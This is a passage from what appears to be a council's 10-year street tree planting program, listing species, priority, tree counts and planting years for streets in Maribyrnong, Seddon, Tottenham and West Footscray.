*Eucalyptus leucoxylon* (North Southside) | Yellow Gum | J | 11 | 9 | | | *Angophora costata* (West) | Smooth Barked Apple | | | | | | *Callistemon viminalis* 'Harkness' (North Northside) | Weeping Bottlebrush | | | | | | *Eucalyptus scoparia* (East) | Wallangara White Gum | | | | | NORFOLK STREET | *Pyrus ussuriensis* | Manchurian Pear | I | 30 | 7 | | OMAR STREET | *Melia azederach* | White Cedar | J | 13 | 9 | | POWELL CRESCENT | *Angophora costata* | Smooth Barked Apple | E | 11 | 2 | | PULLAR STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | RADIO STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | I | 12 | 7 | | RAGLAN COURT | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | RAGLAN STREET | *Pyrus ussuriensis* | Manchurian Pear | H | 9 | 6 | | RENOWN STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | RICHARDS STREET | *Laphostemon confertus* | Brush Box | I | 17 | 7 | | RICHELIEU STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 12 | 9 | | RINGTAIL CIRCUIT | *Angophora costata* | Smooth Barked Apple | J | 1 | 10 | | ROONEY STREET | *Laphostemon confertus* | Brush Box | I | 8 | 8 | | ROSAMOND ROAD | *Pyrus ussuriensis* | Manchurian Pear | J | 57 | 7 | | SCOVELL CRESCENT | *Laphostemon confertus* | Brush Box | G | 24 | 3 | | SCULLIN STREET | *Tristaniopsis laurina* | Water Gum | G | 6 | 4 | | SHORT STREET | *Agonis flexuosa* | Willow Myrtle | J | 1 | 10 | | SILVER WATTLE AVENUE | *Agonis flexuosa* | Willow Myrtle | I | 4 | 8 | | SMITH STREET | *Melia azederach* | White Cedar | J | 6 | 10 | | SONLEY STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | F | 8 | 3 | | SPURLING STREET | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 7 | 10 | | STUDLEY STREET | *Melia azederach* | White Cedar | F | 29 | 2 | | SUFFOLK STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 28 | 8 | | SUMMERHILL ROAD | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 10 | 10 | | THOMSON STREET | *Angophora costata* | Smooth Barked Apple | H | 30 | 5 | | ULMARA PARKWAY | *Angophora costata* | Smooth Barked Apple | J | 0 | 10 | | VERDUN STREET | *Olea europeea* | Olive | J | 0 | 10 | | WALLACE STREET | *Tristaniopsis laurina* | Water Gum | J | 5 | 10 | | WATTLE ROAD | *Eucalyptus sideroxylon* | Red Ironbark | F | 60 | 1 | | WHITTAKER STREET | *Tristaniopsis laurina* | Water Gum | J | 5 | 9 | | WILLIAMSON ROAD | *Ulmus parvifolium* | Chinese Elm | I | 28 | 7 | | WINSTON STREET | *Pyrus ussuriensis* | Manchurian Pear | I | 6 | 8 | | WIRILDA WAY | *Ulmus parvifolium* | Chinese Elm | I | 4 | 8 | | YARDLEY COURT | *Malus ioensis* 'Plena' | Bechtels Crab Apple | J | 0 | 10 | | YARDLEY STREET | *Laphostemon confertus* | Brush Box | J | 8 | 10 | | YELLOW BOX STREET | *Angophora costata* | Smooth Barked Apple | J | 3 | 10 | ## Maribyrnong For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |------------------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | ADORI PLACE | *Melia azederach* | White Cedar | F | 5 | 4 | | ALAMEDA AVENUE | *Melia azederach* | White Cedar | J | 4 | 10 | | ALLARA AVENUE | *Melia azederach* | White Cedar | F | 11 | 3 | | AMARCO CRESCENT | *Melia azederach* | White Cedar | J | 1 | 10 | | ANGLER LANE | *Acer buergerianum* | Trident Maple | J | 0 | 10 | | ANGLERS WAY | *Eucalyptus melliodora* | Yellow Box | A | 9 | 1 | | AQUATIC DRIVE | *Angophora costata* | Smooth Barked Apple | H | 9 | 6 | | BARB STREET | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | E | 2 | 9 | | BELLEVUE COURT | *Melia azederach* | White Cedar | J | 2 | 10 | | BELVEDERE CLOSE | *Acer buergerianum* | Trident Maple | J | 2 | 10 | | BIRDWOOD ROAD | *Waterhousia floribunda* | Weeping Lillypilly | H | 6 | 7 | | BIRDWOOD STREET | *Waterhousia floribunda* | Weeping Lillypilly | J | 7 | 10 | | BLAIR STREET | *Quercus rubra* | Red Oak | G | 24 | 1 | | BLOOMFIELD AVENUE | *Brachychiton populenlis* | Kurrajong | I | 17 | 7 | | BRACKEN AVENUE | *Eucalyptus melliodora* | Yellow Box | I | 8 | 8 | | BREAM STREET | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | BURTON CRESCENT | *Callistemon salignus* | Willow Bottlebrush | E | 17 | 2 | | CASE STREET | *Ulmus parvifolia* | Chinese Elm | I | 3 | 8 | | CASTLE VIEW | *Callistemon salignus* | Willow Bottlebrush | I | 2 | 8 | | CASUARINA CLOSE | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | J | 0 | 10 | | CAULSON CLOSE | *Eucalyptus leucoxylon* | Yellow Gum | E | 9 | 10 | | CEDAR DRIVE | *Melia azederach* | White Cedar | J | 0 | 10 | | CENTRAL PARK AVENUE | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | J | 1 | 10 | | CHICAGO STREET | *Lophostemon confertus* | Brush Box | H | 20 | 6 | | CHIFLEY DRIVE | *Phoenix canariensis* | Canary Island Date Palm | H | 36 | 4 | | (Anglers Way To The Esplanade) | | | | | | | CITY VIEW DRIVE | *Acacia implexa* | Lightwood | J | 2 | 10 | | CLYDE STREET | *Melia azederach* | White Cedar | H | 17 | 6 | | COMO PARADE | *Pyrus ussuriensis* | Manchurian Pear | F | 10 | 3 | | CORDITE AVENUE | *Lophostemon confertus* | Brush Box | J | 2 | 10 | | CORMORANT PLACE | *Magnolia grandiflora* | Magnolia | J | 0 | 10 | | CUMBERLAND DRIVE | *Acer buergerianum* | Trident Maple | J | 7 | 10 | | CYPRESS WAY | *Tristaniopsis laurina* | Water Gum | H | 10 | 6 | | DALE STREET | *Corymbia ficifolia* | Red Flowering Gum | I | 16 | 7 | | DANTHONIA LANE | *Pyrus calleryana* | Callery Pear | J | 0 | 10 | | DUFFY STREET | *Corymbia ficifolia* | Red Flowering Gum | H | 8 | 7 | | DUNLOP STREET | *Ulmus parvifolia* | Chinese Elm | J | 0 | 10 | | EDGEWATER BOULEVARD | *Angophora costata* | Smooth Barked Apple | J | 9 | 10 | | (Gordon St to Magazine Way) | | | | | | | (Magazine Way to Bracken Ave)| | | | | | | ENDEAVOUR DRIVE | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | J | 5 | 10 | | ENSIGN STREET | *Corymbia ficifolia* | Red Flowering Gum | J | 0 | 10 | | EVELINE AVENUE | *Eucalyptus scoparia* | Wallangara White Gum | I | 7 | 8 | | EXAMINER STREET | *Malus ioensis* | Iowa Crab Apple | J | 0 | 10 | | FABIAN COURT | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | FERGUSON STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 2 | 10 | | FLEMING AVENUE | *Tristaniopsis laurina* | Water Gum | J | 1 | 10 | | FORGE CLOSE | *Pyrus calleryana* | Callery Pear | J | 0 | 10 | | FRANGIPANI LANE | Confirmation Pending | | J | 0 | 10 | | GORDON STREET | *Lagerstroemia indica* | Crepe Myrtle | F | 123 | 3 | | GRANDVIEW AVENUE | *Corymbia ficifolia* | Red Flowering Gum | I | 7 | 8 | | HARBOUR LANE | *Pyrus calleryana* | Callery Pear | J | 0 | 10 | | HIGH COURT | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 0 | 10 | | HILLSDALE AVENUE | *Eucalyptus melliodora* | Yellow Box | J | 8 | 10 | | HILLSIDE CRESCENT | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | I | 8 | 8 | | HORIZON DRIVE | *Pyrus Sp. (Northside)* | Ornamental Pear | J | 20 | 8 | | (Acer Sp. (Southside) | Maple | | | | | | HORTENSE STREET | *Melia azederach* | White Cedar | F | 0 | 10 | | IBIS PLACE | *Melia azederach* | White Cedar | J | 1 | 10 | | IRONWORKERS LANE | *Pyrus calleryana' Capital' | Ornamental Pear | D | 3 | 2 | | JACKS WAY | *Pyrus Sp.* | Ornamental Pear | J | 0 | 10 | | JINDIVICK STREET | *Acacia implexa* | Lightwood | J | 0 | 10 | | KALLARA GROVE | *Ulmus parvifolia* | Chinese Elm | I | 12 | 7 | | KASOUKA AVENUE | *Brachychiton acerifolius* | Illawarra Flame Tree | H | 11 | 6 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |-----------------------------|-------------------------------------|------------------------------|------------------|--------------|--------------------| | KELLAWAY STREET | Pyrus ussuriensis | Manchurian Pear | J | 4 | 10 | | KINGFISHER LANE | Acer buergerianum | Trident Maple | J | 0 | 10 | | KYNOCH LANE | Confirmation Pending | | J | 0 | 10 | | LA SCALA AVENUE | Lophostemon confertus | Brush Box | E | 31 | 5 | | LAKESIDE CRESCENT | Melia azederach | White Cedar | I | 10 | 8 | | LANA WAY | Lagerstroemia indica | Crepe Myrtle | G | 5 | 6 | | LEOPOLD STREET | Acacia podalyriifolia | Queensland Silver Wattle | F | 15 | 3 | | LILARDIA AVENUE | Eucalyptus melliodora | Yellow Box | J | 3 | 10 | | LONDREW COURT | Melia azederach | White Cedar | G | 6 | 5 | | LYRIC STREET | Tristaniopsis laurina | Water Gum | H | 3 | 7 | | MACEDON STREET | Eucalyptus leucoxylon 'Megalocarpa' | Yellow Gum | I | 15 | 7 | | MAGAZINE WAY | Acer spp | Maple | J | 2 | 10 | | MAIREANA STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | MARY WALSH STREET | Pyrus calleryana | Callery Pear | J | 1 | 10 | | MEPHAN STREET | Tristaniopsis laurina | Water Gum | J | 0 | 10 | | MERLYN STREET | Malus ioensis 'Plena' | Bechtel Crab Apple | J | 1 | 10 | | METTERS STREET | Lagerstroemia indica | Crepe Myrtle | I | 2 | 8 | | MIDDLE ROAD | Corymbia ficifolia | Red Flowering Gum | J | 9 | 9 | | MITCHELL STREET | Melia azederach | White Cedar | J | 1 | 10 | | MOLONEY LANE | Confirmation Pending | | J | 0 | 10 | | MONASH STREET | Corymbia ficifolia | Red Flowering Gum | I | 9 | 8 | | MURIEL REIDY STREET | Pyrus betulifolia 'Dancer' | Ornamental Pear | J | 0 | 10 | | MURNONG STREET | Melia azederach | White Cedar | J | 0 | 10 | | NAVIGATOR STREET | Lophostemon confertus | Brush Box | H | 13 | 6 | | NAVY CLOSE | Tristaniopsis laurina | Water Gum | J | 2 | 10 | | NEWSTEAD STREET | Lophostemon confertus | Brush Box | J | 3 | 10 | | OAKLAND STREET | Melia azederach | White Cedar | I | 10 | 8 | | ORDNANCE RESERVE | Brachychiton acerifolius | Illawarra Flame Tree | I | 7 | 8 | | OWEN STREET | Lophostemon confertus | Brush Box | J | 1 | 10 | | PARADE SQUARE | Confirmation Pending | | J | 0 | 10 | | PARK DRIVE | Acacia implexa | Lightwood | G | 14 | 4 | | PELICAN LANE | Magnolia grandiflora 'Bull Bay' | Bull Bay Magnolia | J | 0 | 10 | | PIER LANE | Melia azederach | White Cedar | J | 1 | 10 | | PLANTATION STREET | Callistemon viriminalis | Weeping Bottlebrush | H | 7 | 7 | | PLATYPUS COURT | Lophostemon confertus | Brush Box | J | 0 | 10 | | PRIDHAM STREET | Lophostemon confertus | Brush Box | J | 7 | 10 | | PRIMARY PLACE | Tristaniopsis laurina | Water Gum | H | 3 | 7 | | PRINCE STREET | Corymbia ficifolia | Red Flowering Gum | H | 9 | 6 | | RAFA COURT | Eucalyptus leucoxylon 'Megalocarpa'| Yellow Gum | A | 0 | 10 | | RALEIGH ROAD | Tristaniopsis laurina | Water Gum | B | 117 | 1 | | RANDALL STREET | Calodendron capense | Cape Chestnut | I | 10 | 7 | | RAVEN LANE | Pyrus calleryana | Callery Pear | J | 0 | 10 | | REDGUM STREET | Brachychiton acerifolius | Illawarra Flame Tree | I | 7 | 8 | | RIVER PARK TERRACE | Eucalyptus leucoxylon 'Megalocarpa'| Yellow Gum | J | 0 | 10 | | RIVER STREET | Acer buergerianum | Trident Maple | J | 0 | 10 | | RIVERBANK DRIVE | Acer buergerianum | Trident Maple | J | 9 | 10 | | RIVERFRONT WAY | Ulmus parvifolia | Chinese Elm | J | 0 | 10 | | RIVERVIEW COURT | Pyrus ussuriensis | Manchurian Pear | J | 0 | 10 | | ROSAMOND ROAD | Eucalyptus leucoxylon 'Megalocarpa'| Yellow Gum | H | 68 | 8 | | ROWE STREET | Eucalyptus leucoxylon 'Megalocarpa'| Yellow Gum | J | 4 | 10 | | SALTWATER CRESCENT | Eucalyptus leucoxylon 'Megalocarpa'| Yellow Gum | J | 4 | 10 | | SAND PIPER GROVE | Melia azederach | White Cedar | J | 3 | 10 | | SANDY PLACE | Tristaniopsis laurina | Water Gum | G | 8 | 4 | | SCENIC PLACE | Angophora costata | Smooth Barked Apple | J | 2 | 10 | | SEA RUSH STREET | Melia azederach | White Cedar | J | 0 | 10 | | SHEARWATER CRESCENT | Eucalyptus melliodora (South) | Yellow Box (South) | J | 1 | 10 | | SHEOAK LANE | Acacia implexa | Lightwood | F | 2 | 5 | | SKYLINE DRIVE | Eucalyptus melliodora | Yellow Box | I | 13 | 7 | | SLOANE STREET | Lophostemon confertus | Brush Box | H | 8 | 7 | | SPEARGRASS STREET | Acer buergerianum | Trident Maple | H | 5 | 7 | | STONEY RISE | Acacia implexa | Lightwood | C | 5 | 1 | | SUMMIT RISE | Acacia implexa | Lightwood | J | 0 | 10 | | SUNSET PLACE | Ulmus parvifolia | Chinese Elm | J | 1 | 10 | | TAMUJ STREET | Acacia implexa | Lightwood | H | 18 | 6 | | TAYLOR AVENUE | Pyrus calleryana | Callery Pear | J | 0 | 10 | | THE ESPLANADE | Lophostemon confertus | Brush Box | H | 59 | 4 | | THOMAS HOLMES STREET | Lophostemon confertus | Brush Box | E | 19 | 5 | | VALNERE STREET | Agonis flexuosa | Willow Myrtle | J | 2 | 10 | | VAN NESS AVENUE | Melia azederach | White Cedar | D | 82 | 1 | | VIEW GRAND ROAD | Acer buergerianum | Trident Maple | J | 5 | 10 | | VILLAGE WAY | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |--------------------------|-------------------------------------|----------------------|------------------|--------------|--------------------| | WAPITI STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | WARRS ROAD | *Angophora costata* | Smooth Barked Apple | H | 27 | 5 | | WATERFORD AVENUE | *Pyrus calleryana* 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | WATERSIDE PLACE | *Quercus robur* | English Oak | J | 5 | 10 | | WESTS ROAD | *Ulmus parvifolia* | Chinese Elm | J | 14 | 9 | | WHEELERS COURT | *Eucalyptus leucoxylon* 'Megalocarpa'| Yellow Gum | J | 0 | 10 | | WHITE STREET | *Angophora costata* | Smooth Barked Apple | I | 16 | 7 | | WILD CHERRY STREET | *Malus ioensis* 'Plena' | Bechtel Crab Apple | J | 1 | 10 | | WILLIAM COOPER STREET | *Lophostemon confertus* | Brush Box | I | 4 | 8 | | WILLIAMSON ROAD | *Ulmus parvifolia* | Chinese Elm | J | 20 | 8 | | WOODRUFF AVENUE | *Acer buergerianum* | Trident Maple | J | 7 | 10 | ## Seddon For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|---------------------------------------------------|------------------------------------|------------------|--------------|--------------------| | ACTON STREET | *Hymenosporum flavum* | Native Frangipanni | C | 8 | 2 | | ADMIRAL STREET | *Hymenosporum flavum* | Native Frangipanni | H | 3 | 7 | | ALBERT STREET | *Melia azederach* | White Cedar | I | 17 | 7 | | ALEXANDER STREET | *Hymenosporum flavum* | Native Frangipanni | I | 6 | 8 | | ALFRED STREET | *Callistemon salignus (East)* | Willow Bottlebrush (East) | J | 0 | 10 | | | *Pyrus calleryana 'Chanticleer'* | Chanticleer Pear | J | 0 | 10 | | ARRAN STREET | *Malus ioensis 'Plena'* | Bechtel Crap Apple | J | 0 | 10 | | AUSTIN STREET | *Ulmus parvifolia* | Chinese Elm | J | 9 | 10 | | BAYVIEW ROAD | *Ulmus parvifolia* | Chinese Elm | J | 4 | 10 | | BELL STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 0 | 10 | | BELLAIRS AVENUE | *Agonis flexuosa* | Willow Myrtle | J | 8 | 10 | | BILSTON STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | | *Pyrus calleryana 'Chanticleer'* | Chanticleer Pear | J | 0 | 10 | | BOURKE STREET | *Callistemon viminalis* | Weeping Bottlebrush | A | 14 | 3 | | BRISTOW STREET | *Corymbia maculata (North)* | Spotted Gum (North) | G | 9 | 4 | | | *Eucalyptus torquata (South)* | Coral Gum (South) | | | | | BROWNING STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 5 | 10 | | BUCKLEY STREET | *Angophora costata* | Smooth Barked Apple | H | 40 | 6 | | BUTTE STREET | *Pyrus calleryana 'Capital'* | Ornamental Pear | J | 0 | 10 | | CHAPMAN STREET | *Pyrus calleryana 'Chanticleer'* | Chanticleer Pear | J | 0 | 10 | | CHARLES STREET | *Acer buergerianum* | Trident Maple | J | 11 | 9 | | | *Angophora costata (Median)* | Smooth Barked Apple (Median) | | | | | | *Pyrus calleryana 'Chanticleer' (Shopping Strip)* | Chanticleer Pear (Shopping Strip) | | | | | COLLINS STREET | *Callistemon salignus* | Willow Bottlebrush | A | 14 | 2 | | DANE STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 0 | 10 | | EASTWOOD STREET | *Corymbia ficifolia* | Red Flowering Gum | A | 1 | 3 | | EDWARD STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | EMMA STREET | *Callistemon salignus* | Willow Bottlebrush | J | 0 | 10 | | FLORENCE STREET | *Hymenosporum flavum* | Native Frangipanni | H | 3 | 7 | | GAMON STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 0 | 10 | | GEELONG ROAD | *Corymbia maculata* | Spotted Gum | J | 5 | 10 | | GLEDHILL STREET | *Callistemon salignus* | Willow Bottlebrush | A | 9 | 7 | | GREIG STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | A | 32 | 1 | | HAMILTON STREET | *Platanus orientalis* | Oriental Plane | J | 1 | 10 | | HAROLD STREET | *Acer buergerianum* | Trident Maple | H | 3 | 7 | | HARRIET STREET | *Callistemon citrinus* | Lemon Scented Bottlebrush | D | 5 | 9 | | HENRY STREET | *Olea europea 'Picual'* | Picual Olive | J | 0 | 10 | | HOBBS STREET | *Melia azederach* | White Cedar | J | 6 | 10 | | HOTHAM STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 8 | 10 | | HYDE STREET | *Tristaniopsis laurina* | Water Gum | J | 20 | 8 | | JAMES STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 4 | 10 | | JOHN STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | D | 19 | 2 | | JUNCTION STREET | *Lagerstroemia indica 'Tuscara'* | Crepe Myrtle | J | 0 | 10 | | KENT STREET | *Callistemon viminalis* | Weeping Bottlebrush | J | 4 | 10 | | LAWRENCE STREET | *Pyrus calleryana 'Chanticleer'* | Chanticleer Pear | J | 2 | 10 | | LYONS STREET | *Corymbia maculata* | Spotted Gum | J | 0 | 10 | | MACKAY STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | MARGARET STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | MEDWAY STREET | *Lagerstroemia indica* | Crepe Myrtle | C | 14 | 5 | | NICHOLSON STREET | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 17 | 9 | | NORTH STREET | *Callistemon viminalis* | Weeping Bottlebrush | A | 15 | 5 | | OFARRELL STREET | *Callistemon viminalis (South)* | Weeping Bottlebrush (South) | J | 0 | 10 | | | *Corymbia ficifolia (North)* | Red Flowering Gum (North) | | | | | OSCAR STREET | *Lagerstroemia indica* | Crepe Myrtle | I | 2 | 8 | | PENTLAND PARADE | *Eucalyptus leucoxylon 'Megalocarpa'* | Yellow Gum | J | 25 | 8 | | PERRY STREET | *Olea europea 'Sativa'* | Olive | J | 0 | 10 | | PILGRIM STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 15 | 9 | | POLE STREET | *Lophostemon confertus* | Brush Box | J | 5 | 10 | | PRINCESS STREET | *Olea europea 'Sativa'* | Olive | J | 0 | 10 | | RENNIE STREET | *Eucalyptus leucoxylon 'Megalocarpa' (South)* | Yellow Gum | J | 0 | 10 | | | *Acacia implexa (North)* | Willow Myrtle | J | 0 | 10 | | SCOTT STREET | *Lophostemon confertus* | Brush Box | J | 0 | 10 | | SEDDON STREET | *Pyrus calleryana x P. betulifolia 'Edgedell'* | Ornamental Pear | J | 0 | 10 | | | Edgewood (Gammon St to Bayview St) | | | | | | SOUTH STREET | *Callistemon viminalis* | Weeping Bottlebrush | D | 10 | 9 | | STAFF STREET | *Lagerstroemia indica* | Crepe Myrtle | J | 0 | 10 | | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |---------------------|---------------------------------------------------|------------------------------|------------------|--------------|--------------------| | STATION ROAD | Acer buergerianum | Trident Maple | J | 10 | 10 | | STEPHEN STREET | Angophora costata | Smooth Barked Apple | J | 2 | 10 | | SYDENHAM STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | TENNYSON STREET | Malus ioensis 'Plena' | Bechtel Crab Apple | J | 8 | 10 | | THOMSON STREET | Lagerstroemia indica 'Tuskarora' (North) | Crepe Myrtle (North) | J | 5 | 10 | | | Malus ioensis 'Plena' (South) | Bechtel Crab Apple (South) | | | | | VICTORIA STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 0 | 10 | | | Angophora costata (Centre Median) | Smooth Barked Apple | | | | | VIGO STREET | Lagerstroemia indica | Crepe Myrtle | A | 12 | 6 | | WALTER STREET | Pyrus ussuriensis | Manchurian Pear | J | 6 | 10 | | WEBSTER STREET | Pyrus calleryana 'Chanticleer' | Chanticleer Pear | J | 1 | 10 | | WERNER STREET | Confirmation Pending | | A | 9 | 6 | | WILLIAM STREET | Ulmus parvifolia | Chinese Elm | J | 0 | 10 | | WILLIAMSTOWN ROAD | Lophostemon confertus | Brush Box | J | 17 | 9 | | WINDSOR STREET | Lagerstroemia indica | Crepe Myrtle | G | 27 | 4 | | YOUNG STREET | Eucalyptus leucoxylon 'Megalocarpa' | Yellow Gum | A | 8 | 7 | ### Tottenham For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|-------------------------------------|---------------------------|------------------|--------------|--------------------| | ALICK ROAD | *Hymenosporum flavum* | Native Frangipanni | A | 13 | 3 | | AMANDA ROAD | *Angophora costata* | Smooth Barked Apple | I | 7 | 9 | | FREDERICK ROAD | *Corymbia ficifolia* | Red Flowering Gum | C | 43 | 1 | | GEELONG ROAD | *Corymbia maculata* | Spotted Gum | J | 1 | 10 | | HOLMWOOD ROAD | *Angophora costata* | Smooth Barked Apple | A | 37 | 1 | | JAMES COURT | *Eucalyptus forrestiana* | Fuschia Gum | F | 10 | 3 | | JUSTIN ROAD | *Corymbia ficifolia* | Red Flowering Gum | I | 8 | 9 | | KALINGRA ROAD | *Callistemon salignus* | Willow Bottlebrush | I | 8 | 9 | | OLYMPIA STREET | *Callistemon viminalis* | Weeping Bottlebrush | G | 28 | 4 | | PARAMOUNT ROAD | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | G | 25 | 4 | | QUARRY ROAD | *Fraxinus griffithii* | Evergreen Ash | G | 24 | 9 | | RAVENSCOURT ROAD | *Agonis flexuosa* | Willow Myrtle | C | 7 | 1 | | SARA GROVE | *Eucalyptus leucoxylon 'Rosea'* | Yellow Gum | A | 29 | 1 | | SOMERVILLE ROAD | *Lagerstroemia indica* | Crepe Myrtle | J | 31 | 8 | | SUNSHINE ROAD | *Angophora costata* | Smooth Barked Apple | J | 19 | 9 | | TOTTENHAM PARADE | *Agonis flexuosa* | Willow Myrtle | G | 11 | 5 | ## West Footscray For each street, this list displays the nominated tree species, priority ranking, approximate number of new trees required and year of the 10 Year Planting Program to be planted. | Street Name | Tree Species | Common Name | Priority Ranking | No. of Trees | Year to be Planted | |----------------------|---------------------------------------------------|--------------------------------------------------|------------------|--------------|--------------------| | ACACIA COURT | *Callistemon viminalis* (East) | Weeping Bottlebrush (East) | F | 7 | 4 | | | *Corymbia maculata* (West) | Spotted Gum (West) | | | | | AITKEN STREET | *Callistemon viminalis* | Weeping Bottlebrush | A | 10 | 10 | | ALBERTA STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | H | 8 | 7 | | | *Melia azederach* | White Cedar | | | | | ALIWAL STREET | *Melia azederach* | White Cedar | E | 29 | 2 | | ALMA STREET | *Melia azederach* | White Cedar | J | 0 | 10 | | ARGYLE STREET | *Ulmus parvifolia* | Chinese Elm | J | 7 | 9 | | ASHLEY STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 29 | 8 | | BANKSIA COURT | *Agonis flexuosa* (East) | Willow Myrtle (East) | J | 0 | 10 | | | *Corymbia citriodora* (West) | Lemon Scented Gum (West) | | | | | BARKLY STREET | *Lagerstroemia indica* | Crepe Myrtle (Ashley to Summerhill) | H | 73 | 4 | | | *Olea europaea* ‘Tolley’s upright’ | Tolley’s Upright Olive | | | | | BARTON STREET | *Corymbia ficifolia* | Red Flowering Gum | I | 0 | 10 | | BEAUMONT PARADE | *Eucalyptus eximia* | Yellow Bloodwood | J | 5 | 10 | | BERTHANDRA COURT | *Melia azederach* | White Cedar | A | 22 | 1 | | BIZANA STREET | *Melia azederach* | White Cedar | J | 3 | 10 | | BLANDFORD STREET | *Eucalyptus leucoxylon* 'Megalocarpa' (West) | Yellow Gum (West) | J | 2 | 10 | | | *Pyrus calleryana* ‘Bradford’ (East) | Bradford Pear (East) | | | | | BRAID STREET | *Pyrus ussuriensis* | Manchurian Pear | J | 4 | 10 | | BROAD STREET | *Eucalyptus leucoxylon* ‘Eucky Dwarf’ (Naturestrip)| Yellow Gum (Naturestrip) | J | 0 | 10 | | | *Corymbia maculata* (Median) | Spotted Gum (Median) | | | | | BRUCE STREET | *Tristaniopsis laurina* | Water Gum | J | 0 | 10 | | BRUNSWICK STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | BUSCH STREET | *Acer buergerianum* | Trident Maple | I | 6 | 8 | | BUXTON STREET | *Acer buergerianum* | Trident Maple | G | 13 | 5 | | CALA STREET | *Lophostemon confertus* | Brush Box | F | 45 | 7 | | CARMICHAEL STREET | *Corymbia ficifolia* | Red Flowering Gum | J | 3 | 10 | | CENTENNIAL STREET | *Pyrus calleryana* ‘Chanticleer’ | Chanticleer Pear | J | 0 | 10 | | CHURCH STREET | *Olea europaea* ‘Sativa’ | Olive | J | 10 | 10 | | CLARENDON PARADE | *Acacia podalyrifolia* | Queenland Silver Wattle | J | 6 | 10 | | CLARKE STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 7 | 10 | | CLIVE STREET | *Eucalyptus leucoxylon* 'Megalocarpa' | Yellow Gum | J | 12 | 9 | | CORREA COURT | *Agonis flexuosa* (East) | Willow Myrtle (East) | I | 2 | 8 | | | *Corymbia citriodora* (West) | Lemon Scented Gum (West) | | | | | CROMWELL PARADE | *Acacia implexa* | Lightwood | A | 25 | 9 | | CROSS STREET | *Ulmus parvifolia* ‘Todd’ | Chinese Elm | J | 7 | 10 | | CURRAONG STREET | *Melia azederach* | White Cedar | D | 32 | 9 | | DARWIN STREET | *Callistemon viminalis* | Weeping Bottlebrush | B | 10 | 10 | | DEMPSTER STREET | *Pyrus ussuriensis* | Manchurian Pear | D | 26 | 1 | | DERRIMUT STREET | *Corymbia maculata* | Spotted Gum | A | 8 | 10 | | DEVONSHIRE STREET | *Acer buergerianum* | Trident Maple | J | 3 | 10 | | DIANELLA COURT | *Eucalyptus leucoxylon megalocarpa* (East) | Yellow Gum (East) | J | 1 | 10 | | | *Eucalyptus sideroxylon* (West) | Red Ironbark (West) | | | | | DONGOLA ROAD | *Lophostemon confertus* | Brush Box | J | 3 | 10 | | DOVE STREET | *Hymenosporum flavum* (North) | Native Fragipanni (North) | J | 0 | 10 | | | *Allocasuarina verticillata* (South) | Weeping Sheoek (South) | | | | | DUKE STREET | *Tristaniopsis laurina* | Water Gum | J | 2 | 10 | | DYSON STREET | *Koelreuteria paniculata* | Golden Rain Tree | E | 10 | 2 | | ELPHINSTONE STREET | *Melia azederach* | White Cedar | J | 2 | 10 | | ESSEX STREET | *Koelreuteria paniculata* | Golden Rain Tree | J | 32 | 8 | | EXHIBITION STREET | *Pyrus calleryana* ‘Chanticleer’ | Chanticleer Pear | J | 0 | 10 | | FIRST STREET | *Agonis flexuosa* | Willow Myrtle | J | 6 | 10 | | FONTEIN STREET | *Pyrus 